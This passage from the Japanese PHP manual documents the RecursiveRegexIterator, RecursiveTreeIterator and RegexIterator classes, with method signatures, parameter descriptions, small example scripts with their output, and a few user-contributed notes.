新しい正規表現イテレータを作成します。

パラメータ

iterator

この正規表現フィルタを適用するイテレータ。

regex

マッチさせる正規表現。

mode

操作モード。モードの一覧は RegexIterator::setMode() を参照ください。

flags

特殊なフラグ。フラグの一覧は RegexIterator::setFlags() を参照ください。

preg_flags

正規表現フラグ。これらのフラグは操作モードに依存します。

RegexIterator preg_flags
操作モード | 使用可能なフラグ
RecursiveRegexIterator::ALL_MATCHES | preg_match_all() を参照ください。
RecursiveRegexIterator::GET_MATCH | preg_match() を参照ください。
RecursiveRegexIterator::MATCH | preg_match() を参照ください。
RecursiveRegexIterator::REPLACE | なし。
RecursiveRegexIterator::SPLIT | preg_split() を参照ください。

例

例1 RecursiveRegexIterator::__construct() の例

'test' で始まるすべての文字列を取り出す新しい RegexIterator を作成します。

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // すべての子を表示します
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

上の例の出力は、 たとえば以下のようになります。

No children
Children: test4 test5

参考

  • preg_match() - 正規表現によるマッチングを行う
  • preg_match_all() - 繰り返し正規表現検索を行う
  • preg_replace() - 正規表現検索および置換を行う
  • preg_split() - 正規表現で文字列を分割する

User Contributed Notes

SongoQ 27-Oct-2009 11:22
RecursiveRegexIterator::ALL_MATCHES List all subdirectories and files.

<?php

$a = new RecursiveRegexIterator( new RecursiveDirectoryIterator(
'/home/songoq' ), '/mydir/i', RecursiveRegexIterator::ALL_MATCHES );

foreach( new RecursiveIteratorIterator( $a ) as $s )
{
       echo $s."\n";
}


現在のエントリのイテレータを返す

  • ≪ RecursiveRegexIterator::__construct
  • RecursiveRegexIterator::hasChildren ≫
  • PHP Manual
  • RecursiveRegexIterator
  • 現在のエントリのイテレータを返す

RecursiveRegexIterator::getChildren

(PHP 5 >= 5.2.0, PHP 7)

RecursiveRegexIterator::getChildren — 現在のエントリのイテレータを返す

説明

public RecursiveRegexIterator::getChildren ( ) : RecursiveRegexIterator

現在のエントリのイテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

内部イテレータで反復処理が可能な場合に、現在のエントリのイテレータを返します。

エラー / 例外

現在のエントリが内部イテレータによる反復処理が可能なものでない場合に InvalidArgumentException をスローします。

例

例1 RecursiveRegexIterator::getChildren() の例

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

    if ($rRegexIterator->hasChildren()) {

        // すべての子を表示します
        echo "Children: ";
        foreach ($rRegexIterator->getChildren() as $key => $value) {
            echo $value . " ";
        }
        echo "\n";
    } else {
        echo "No children\n";
    }

}
?>

上の例の出力は以下となります。

No children
Children: test4 test5

参考

  • RecursiveRegexIterator::hasChildren() - 現在のエントリのイテレータが取得可能かどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリのイテレータが取得可能かどうかを返す

  • ≪ RecursiveRegexIterator::getChildren
  • RecursiveTreeIterator ≫
  • PHP Manual
  • RecursiveRegexIterator
  • 現在のエントリのイテレータが取得可能かどうかを返す

RecursiveRegexIterator::hasChildren

(PHP 5 >= 5.2.0, PHP 7)

RecursiveRegexIterator::hasChildren — 現在のエントリのイテレータが取得可能かどうかを返す

説明

public RecursiveRegexIterator::hasChildren ( ) : bool

現在のエントリのイテレータが取得可能かどうかを返すこのイテレータは RecursiveRegexIterator::getChildren() で取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリのイテレータが取得可能な場合に true、それ以外の場合に false を返します。

例

例1 RecursiveRegexIterator::hasChildren() の例

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
    RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $value) {
    var_dump($rRegexIterator->hasChildren());
}
?>

上の例の出力は以下となります。

bool(false)
bool(true)

参考

  • RecursiveRegexIterator::getChildren() - 現在のエントリのイテレータを返す

User Contributed Notes

There are no user contributed notes for this page.


RecursiveTreeIterator クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

RecursiveIterator を反復処理し、ASCII グラフィックツリーを生成します。

クラス概要

RecursiveTreeIterator extends RecursiveIteratorIterator implements OuterIterator {
/* 継承した定数 */
const int RecursiveIteratorIterator::LEAVES_ONLY = 0 ;
const int RecursiveIteratorIterator::SELF_FIRST = 1 ;
const int RecursiveIteratorIterator::CHILD_FIRST = 2 ;
const int RecursiveIteratorIterator::CATCH_GET_CHILD = 16 ;
/* 定数 */
const int BYPASS_CURRENT = 4 ;
const int BYPASS_KEY = 8 ;
const int PREFIX_LEFT = 0 ;
const int PREFIX_MID_HAS_NEXT = 1 ;
const int PREFIX_MID_LAST = 2 ;
const int PREFIX_END_HAS_NEXT = 3 ;
const int PREFIX_END_LAST = 4 ;
const int PREFIX_RIGHT = 5 ;
/* メソッド */
public beginChildren ( ) : void
public beginIteration ( ) : RecursiveIterator
public callGetChildren ( ) : RecursiveIterator
public callHasChildren ( ) : bool
public __construct ( RecursiveIterator|IteratorAggregate $it , int $flags = RecursiveTreeIterator::BYPASS_KEY , int $cit_flags = CachingIterator::CATCH_GET_CHILD , int $mode = RecursiveIteratorIterator::SELF_FIRST )
public current ( ) : string
public endChildren ( ) : void
public endIteration ( ) : void
public getEntry ( ) : string
public getPostfix ( ) : string
public getPrefix ( ) : string
public key ( ) : string
public next ( ) : void
public nextElement ( ) : void
public rewind ( ) : void
public setPostfix ( string $postfix ) : void
public setPrefixPart ( int $part , string $value ) : void
public valid ( ) : bool
/* 継承したメソッド */
public RecursiveIteratorIterator::beginChildren ( ) : void
public RecursiveIteratorIterator::beginIteration ( ) : void
public RecursiveIteratorIterator::callGetChildren ( ) : RecursiveIterator
public RecursiveIteratorIterator::callHasChildren ( ) : bool
public RecursiveIteratorIterator::__construct ( Traversable $iterator , int $mode = RecursiveIteratorIterator::LEAVES_ONLY , int $flags = 0 )
public RecursiveIteratorIterator::current ( ) : mixed
public RecursiveIteratorIterator::endChildren ( ) : void
public RecursiveIteratorIterator::endIteration ( ) : void
public RecursiveIteratorIterator::getDepth ( ) : int
public RecursiveIteratorIterator::getInnerIterator ( ) : iterator
public RecursiveIteratorIterator::getMaxDepth ( ) : mixed
public RecursiveIteratorIterator::getSubIterator ( int $level = ? ) : RecursiveIterator
public RecursiveIteratorIterator::key ( ) : mixed
public RecursiveIteratorIterator::next ( ) : void
public RecursiveIteratorIterator::nextElement ( ) : void
public RecursiveIteratorIterator::rewind ( ) : void
public RecursiveIteratorIterator::setMaxDepth ( int $max_depth = -1 ) : void
public RecursiveIteratorIterator::valid ( ) : bool
}

定義済み定数

RecursiveTreeIterator::BYPASS_CURRENT

RecursiveTreeIterator::BYPASS_KEY

RecursiveTreeIterator::PREFIX_LEFT

RecursiveTreeIterator::PREFIX_MID_HAS_NEXT

RecursiveTreeIterator::PREFIX_MID_LAST

RecursiveTreeIterator::PREFIX_END_HAS_NEXT

RecursiveTreeIterator::PREFIX_END_LAST

RecursiveTreeIterator::PREFIX_RIGHT

目次

  • RecursiveTreeIterator::beginChildren — 子を開始する
  • RecursiveTreeIterator::beginIteration — 反復処理を開始する
  • RecursiveTreeIterator::callGetChildren — 子を取得する
  • RecursiveTreeIterator::callHasChildren — 子を持っているかどうかを調べる
  • RecursiveTreeIterator::__construct — RecursiveTreeIterator を作成する
  • RecursiveTreeIterator::current — 現在の要素を取得する
  • RecursiveTreeIterator::endChildren — 子を終了する
  • RecursiveTreeIterator::endIteration — 反復処理を終了する
  • RecursiveTreeIterator::getEntry — 現在のエントリを取得する
  • RecursiveTreeIterator::getPostfix — 接尾辞を取得する
  • RecursiveTreeIterator::getPrefix — 接頭辞を取得する
  • RecursiveTreeIterator::key — 現在の要素のキーを取得する
  • RecursiveTreeIterator::next — 次の要素に移動する
  • RecursiveTreeIterator::nextElement — 次の要素
  • RecursiveTreeIterator::rewind — イテレータを巻き戻す
  • RecursiveTreeIterator::setPostfix — postfix を設定する
  • RecursiveTreeIterator::setPrefixPart — 接頭辞の部分を設定する
  • RecursiveTreeIterator::valid — 有効性を調べる

User Contributed Notes

matthieu88160 13-Feb-2017 12:14
$it = new RecursiveArrayIterator(array(1, 2, array(3, 4, array(5, 6, 7), 8), 9, 10));
$tit = new RecursiveTreeIterator($it);

foreach( $tit as $key => $value ){
    echo $value . PHP_EOL;
}

/* Will output

|-1
|-2
|-Array
| |-3
| |-4
| |-Array
| | |-5
| | |-6
| | \-7
| \-8
|-9
\-10

*/


子を開始する

  • ≪ RecursiveTreeIterator
  • RecursiveTreeIterator::beginIteration ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 子を開始する

RecursiveTreeIterator::beginChildren

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::beginChildren — 子を開始する

説明

public RecursiveTreeIterator::beginChildren ( ) : void

一段下がるときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


反復処理を開始する

  • ≪ RecursiveTreeIterator::beginChildren
  • RecursiveTreeIterator::callGetChildren ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 反復処理を開始する

RecursiveTreeIterator::beginIteration

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::beginIteration — 反復処理を開始する

説明

public RecursiveTreeIterator::beginIteration ( ) : RecursiveIterator

反復処理を開始するとき (最初に RecursiveTreeIterator::rewind() がコールされた後) にコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

RecursiveIterator を返します。

User Contributed Notes

There are no user contributed notes for this page.


子を取得する

  • ≪ RecursiveTreeIterator::beginIteration
  • RecursiveTreeIterator::callHasChildren ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 子を取得する

RecursiveTreeIterator::callGetChildren

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::callGetChildren — 子を取得する

説明

public RecursiveTreeIterator::callGetChildren ( ) : RecursiveIterator

現在の要素の子を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

RecursiveIterator を返します。

User Contributed Notes

There are no user contributed notes for this page.


子を持っているかどうかを調べる

  • ≪ RecursiveTreeIterator::callGetChildren
  • RecursiveTreeIterator::__construct ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 子を持っているかどうかを調べる

RecursiveTreeIterator::callHasChildren

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::callHasChildren — 子を持っているかどうかを調べる

説明

public RecursiveTreeIterator::callHasChildren ( ) : bool

各要素が子を持っているかどうかを調べるときにコールします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

子がある場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveTreeIterator を作成する

  • ≪ RecursiveTreeIterator::callHasChildren
  • RecursiveTreeIterator::current ≫
  • PHP Manual
  • RecursiveTreeIterator
  • RecursiveTreeIterator を作成する

RecursiveTreeIterator::__construct

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::__construct — RecursiveTreeIterator を作成する

説明

public RecursiveTreeIterator::__construct
 ( RecursiveIterator|IteratorAggregate $it
, int $flags = RecursiveTreeIterator::BYPASS_KEY
, int $cit_flags = CachingIterator::CATCH_GET_CHILD
, int $mode = RecursiveIteratorIterator::SELF_FIRST
)

新しい RecursiveTreeIterator を、指定した再帰イテレータから作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

it

RecursiveIterator あるいは IteratorAggregate。

flags

フラグを指定して一部のメソッドの振る舞いを変更することができます。 フラグの一覧は RecursiveTreeIterator の定義済み定数 にあります。

caching_it_flags

内部的に使う RecursiveCachingIterator の振る舞いを変更するフラグ。

mode

内部的に使う RecursiveIteratorIterator の振る舞いを変更するフラグ。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素を取得する

  • ≪ RecursiveTreeIterator::__construct
  • RecursiveTreeIterator::endChildren ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 現在の要素を取得する

RecursiveTreeIterator::current

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::current — 現在の要素を取得する

説明

public RecursiveTreeIterator::current ( ) : string

接頭辞と接尾辞をつけた現在の要素を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

接頭辞と接尾辞をつけた現在の要素を返します。

User Contributed Notes

There are no user contributed notes for this page.


子を終了する

  • ≪ RecursiveTreeIterator::current
  • RecursiveTreeIterator::endIteration ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 子を終了する

RecursiveTreeIterator::endChildren

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::endChildren — 子を終了する

説明

public RecursiveTreeIterator::endChildren ( ) : void

一段下の再帰処理が終了したときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


反復処理を終了する

  • ≪ RecursiveTreeIterator::endChildren
  • RecursiveTreeIterator::getEntry ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 反復処理を終了する

RecursiveTreeIterator::endIteration

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::endIteration — 反復処理を終了する

説明

public RecursiveTreeIterator::endIteration ( ) : void

反復処理が終了したとき (RecursiveTreeIterator::valid() が最初に false を返したとき) にコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリを取得する

  • ≪ RecursiveTreeIterator::endIteration
  • RecursiveTreeIterator::getPostfix ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 現在のエントリを取得する

RecursiveTreeIterator::getEntry

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::getEntry — 現在のエントリを取得する

説明

public RecursiveTreeIterator::getEntry ( ) : string

現在の要素から作ったツリーを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素から作ったツリーを返します。

User Contributed Notes

There are no user contributed notes for this page.


接尾辞を取得する

  • ≪ RecursiveTreeIterator::getEntry
  • RecursiveTreeIterator::getPrefix ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 接尾辞を取得する

RecursiveTreeIterator::getPostfix

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::getPostfix — 接尾辞を取得する

説明

public RecursiveTreeIterator::getPostfix ( ) : string

現在の要素の後に置く文字列を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の後に置く文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


接頭辞を取得する

  • ≪ RecursiveTreeIterator::getPostfix
  • RecursiveTreeIterator::key ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 接頭辞を取得する

RecursiveTreeIterator::getPrefix

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::getPrefix — 接頭辞を取得する

説明

public RecursiveTreeIterator::getPrefix ( ) : string

現在の要素の前に置く文字列を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の前に置く文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素のキーを取得する

  • ≪ RecursiveTreeIterator::getPrefix
  • RecursiveTreeIterator::next ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 現在の要素のキーを取得する

RecursiveTreeIterator::key

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::key — 現在の要素のキーを取得する

説明

public RecursiveTreeIterator::key ( ) : string

接頭辞と接尾辞をつけた現在のキーを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

接頭辞と接尾辞をつけた現在のキーを返します。

User Contributed Notes

There are no user contributed notes for this page.


次の要素に移動する

  • ≪ RecursiveTreeIterator::key
  • RecursiveTreeIterator::nextElement ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 次の要素に移動する

RecursiveTreeIterator::next

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::next — 次の要素に移動する

説明

public RecursiveTreeIterator::next ( ) : void

次の要素に移動します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


次の要素

  • ≪ RecursiveTreeIterator::next
  • RecursiveTreeIterator::rewind ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 次の要素

RecursiveTreeIterator::nextElement

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::nextElement — 次の要素

説明

public RecursiveTreeIterator::nextElement ( ) : void

次の要素が利用可能となったときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ RecursiveTreeIterator::nextElement
  • RecursiveTreeIterator::setPostfix ≫
  • PHP Manual
  • RecursiveTreeIterator
  • イテレータを巻き戻す

RecursiveTreeIterator::rewind

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::rewind — イテレータを巻き戻す

説明

public RecursiveTreeIterator::rewind ( ) : void

トップレベルの内部イテレータの最初の要素にイテレータを巻き戻します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


postfix を設定する

  • ≪ RecursiveTreeIterator::rewind
  • RecursiveTreeIterator::setPrefixPart ≫
  • PHP Manual
  • RecursiveTreeIterator
  • postfix を設定する

RecursiveTreeIterator::setPostfix

(PHP 5 >= 5.5.3, PHP 7)

RecursiveTreeIterator::setPostfix — postfix を設定する

説明

public RecursiveTreeIterator::setPostfix ( string $postfix ) : void

RecursiveTreeIterator::getPostfix() で使われる postfix を設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

postfix

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


接頭辞の部分を設定する

  • ≪ RecursiveTreeIterator::setPostfix
  • RecursiveTreeIterator::valid ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 接頭辞の部分を設定する

RecursiveTreeIterator::setPrefixPart

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::setPrefixPart — 接頭辞の部分を設定する

説明

public RecursiveTreeIterator::setPrefixPart ( int $part , string $value ) : void

グラフィックツリーで使う接頭辞を設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

part

RecursiveTreeIterator::PREFIX_* 定数のいずれか。

value

part で指定した接頭辞に代入する値。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


有効性を調べる

  • ≪ RecursiveTreeIterator::setPrefixPart
  • RegexIterator ≫
  • PHP Manual
  • RecursiveTreeIterator
  • 有効性を調べる

RecursiveTreeIterator::valid

(PHP 5 >= 5.3.0, PHP 7)

RecursiveTreeIterator::valid — 有効性を調べる

説明

public RecursiveTreeIterator::valid ( ) : bool

現在位置が有効かどうかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在位置が有効な場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RegexIterator クラス

(PHP 5 >= 5.2.0, PHP 7)

はじめに

このイテレータを使うと、別のイテレータを正規表現でフィルタリングすることができます。

クラス概要

RegexIterator extends FilterIterator {
/* 定数 */
const int MATCH = 0 ;
const int GET_MATCH = 1 ;
const int ALL_MATCHES = 2 ;
const int SPLIT = 3 ;
const int REPLACE = 4 ;
const int USE_KEY = 1 ;
/* メソッド */
public __construct ( Iterator $iterator , string $regex , int $mode = self::MATCH , int $flags = 0 , int $preg_flags = 0 )
public accept ( ) : bool
public getFlags ( ) : int
public getMode ( ) : int
public getPregFlags ( ) : int
public getRegex ( ) : string
public setFlags ( int $flags ) : void
public setMode ( int $mode ) : void
public setPregFlags ( int $preg_flags ) : void
/* 継承したメソッド */
public abstract FilterIterator::accept ( ) : bool
public FilterIterator::__construct ( Iterator $iterator )
public FilterIterator::current ( ) : mixed
public FilterIterator::getInnerIterator ( ) : Iterator
public FilterIterator::key ( ) : mixed
public FilterIterator::next ( ) : void
public FilterIterator::rewind ( ) : void
public FilterIterator::valid ( ) : bool
}

定義済み定数

RegexIterator の操作モード

RegexIterator::ALL_MATCHES

現在のエントリにマッチするものをすべて返します (preg_match_all() を参照ください)。

RegexIterator::GET_MATCH

現在のエントリに最初にマッチしたものを返します (preg_match() を参照ください)。

RegexIterator::MATCH

現在のエントリに対するマッチ (フィルタ) のみを行います (preg_match() を参照ください)。

RegexIterator::REPLACE

現在のエントリを置換します (preg_replace() を参照ください。まだ完全には実装されていません)。

RegexIterator::SPLIT

現在のエントリで分割した値を返します (preg_split() を参照ください)。

RegexIterator のフラグ

RegexIterator::USE_KEY

特別なフラグ: エントリの値ではなく、キーにマッチさせます。

目次

  • RegexIterator::accept — 受け入れ状況を取得する
  • RegexIterator::__construct — 新しい RegexIterator を作成する
  • RegexIterator::getFlags — フラグを取得する
  • RegexIterator::getMode — 操作モードを返す
  • RegexIterator::getPregFlags — 正規表現フラグを返す
  • RegexIterator::getRegex — 現在の正規表現を返す
  • RegexIterator::setFlags — フラグを設定する
  • RegexIterator::setMode — 操作モードを設定する
  • RegexIterator::setPregFlags — 正規表現フラグを設定する

User Contributed Notes

jinmoku at hotmail dot com 10-Dec-2010 12:28
An exemple :

<?php
$a = new ArrayIterator(array('test1', 'test2', 'test3'));
$i = new RegexIterator($a, '/^(test)(\d+)/', RegexIterator::REPLACE);
$i->replacement = '$2:$1';

print_r(iterator_to_array($i));
/*
Array
(
    [0] => 1:test
    [1] => 2:test
    [2] => 3:test
)
*/
?>


受け入れ状況を取得する

  • ≪ RegexIterator
  • RegexIterator::__construct ≫
  • PHP Manual
  • RegexIterator
  • 受け入れ状況を取得する

RegexIterator::accept

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::accept — 受け入れ状況を取得する

説明

public RegexIterator::accept ( ) : bool

(string) RegexIterator::current()
(RegexIterator::USE_KEY
フラグが設定されている場合は RegexIterator::key())
を正規表現でマッチさせます。

パラメータ

この関数にはパラメータはありません。

返り値

マッチした場合に true、それ以外の場合に false を返します。

例

例1 RegexIterator::accept() の例

この例は、正規表現にマッチするアイテムのみを許可するものです。

<?php
$names = new ArrayIterator(array('Ann', 'Bob', 'Charlie', 'David'));
$filter = new RegexIterator($names, '/^[B-D]/');
foreach ($filter as $name) {
    echo $name . PHP_EOL;
}
?>

上の例の出力は以下となります。

Bob
Charlie
David

参考

  • RegexIterator 定数
  • RegexIterator::setFlags() - フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


新しい RegexIterator を作成する

  • ≪ RegexIterator::accept
  • RegexIterator::getFlags ≫
  • PHP Manual
  • RegexIterator
  • 新しい RegexIterator を作成する

RegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::__construct — 新しい RegexIterator を作成する

説明

public RegexIterator::__construct ( Iterator $iterator , string $regex , int $mode = self::MATCH , int $flags = 0 , int $preg_flags = 0 )

新しい RegexIterator を作成します。これは、正規表現を使って Iterator をフィルタリングします。

パラメータ

iterator

この正規表現フィルタを適用するイテレータ。

regex

マッチさせる正規表現。

mode

操作モード。モードの一覧は RegexIterator::setMode() を参照ください。

flags

特殊なフラグ。フラグの一覧は RegexIterator::setFlags() を参照ください。

preg_flags

正規表現フラグ。これらのフラグは操作モードに依存します。

RegexIterator preg_flags
操作モード | 使用可能なフラグ
RegexIterator::ALL_MATCHES | preg_match_all() を参照ください。
RegexIterator::GET_MATCH | preg_match() を参照ください。
RegexIterator::MATCH | preg_match() を参照ください。
RegexIterator::REPLACE | なし。
RegexIterator::SPLIT | preg_split() を参照ください。

エラー / 例外

引数 regex が無効な場合に InvalidArgumentException をスローします。

例

例1 RegexIterator::__construct() の例

'test' で始まるすべての文字列を取り出す新しい RegexIterator を作成します。

<?php
$arrayIterator = new ArrayIterator(array('test 1', 'another test', 'test 123'));
$regexIterator = new RegexIterator($arrayIterator, '/^test/');

foreach ($regexIterator as $value) {
    echo $value . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

test 1
test 123

参考

  • preg_match() - 正規表現によるマッチングを行う
  • preg_match_all() - 繰り返し正規表現検索を行う
  • preg_replace() - 正規表現検索および置換を行う
  • preg_split() - 正規表現で文字列を分割する

User Contributed Notes

There are no user contributed notes for this page.


フラグを取得する

  • ≪ RegexIterator::__construct
  • RegexIterator::getMode ≫
  • PHP Manual
  • RegexIterator
  • フラグを取得する

RegexIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::getFlags — フラグを取得する

説明

public RegexIterator::getFlags ( ) : int

フラグを返します。使用可能なフラグの一覧は RegexIterator::setFlags() を参照ください。

返り値

設定されているフラグを返します。

例

例1 RegexIterator::getFlags() の例

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

if ($regexIterator->getFlags() & RegexIterator::USE_KEY) {
    echo 'Filtering based on the array keys.';
} else {
    echo 'Filtering based on the array values.';
}
?>

上の例の出力は以下となります。

Filtering based on the array keys.

参考

  • RegexIterator::setFlags() - フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


操作モードを返す

  • ≪ RegexIterator::getFlags
  • RegexIterator::getPregFlags ≫
  • PHP Manual
  • RegexIterator
  • 操作モードを返す

RegexIterator::getMode

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::getMode — 操作モードを返す

説明

public RegexIterator::getMode ( ) : int

操作モードを返します。操作モードの一覧は RegexIterator::setMode() を参照ください。

返り値

操作モードを返します。

例

例1 RegexIterator::getMode() の例

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^[a-z]+/', RegexIterator::GET_MATCH);

$mode = $regexIterator->getMode();
if ($mode & RegexIterator::GET_MATCH) {
    echo 'Getting the match for each item.';
} elseif ($mode & RegexIterator::ALL_MATCHES) {
    echo 'Getting all matches for each item.';
} elseif ($mode & RegexIterator::MATCH) {
    echo 'Getting each item if it matches.';
} elseif ($mode & RegexIterator::SPLIT) {
    echo 'Getting split pieces of each.';
}
?>

上の例の出力は以下となります。

Getting the match for each item.

参考

  • RegexIterator::setMode() - 操作モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


正規表現フラグを返す

  • ≪ RegexIterator::getMode
  • RegexIterator::getRegex ≫
  • PHP Manual
  • RegexIterator
  • 正規表現フラグを返す

RegexIterator::getPregFlags

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::getPregFlags — 正規表現フラグを返す

説明

public RegexIterator::getPregFlags ( ) : int

正規表現フラグを返します。使用可能なフラグの一覧は RegexIterator::__construct() を参照ください。

返り値

正規表現フラグのビットマスクを返します。

例

例1 RegexIterator::getPregFlags() の例

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/\s/', RegexIterator::SPLIT);
$regexIterator->setPregFlags(PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

if ($regexIterator->getPregFlags() & PREG_SPLIT_NO_EMPTY) {
    echo 'Ignoring empty pieces';
} else {
    echo 'Not ignoring empty pieces';
}

?>

上の例の出力は以下となります。

Ignoring empty pieces

参考

  • RegexIterator::setPregFlags() - 正規表現フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


現在の正規表現を返す

  • ≪ RegexIterator::getPregFlags
  • RegexIterator::setFlags ≫
  • PHP Manual
  • RegexIterator
  • 現在の正規表現を返す

RegexIterator::getRegex

(PHP 5 >= 5.4.0, PHP 7)

RegexIterator::getRegex — 現在の正規表現を返す

説明

public RegexIterator::getRegex ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


フラグを設定する

  • ≪ RegexIterator::getRegex
  • RegexIterator::setMode ≫
  • PHP Manual
  • RegexIterator
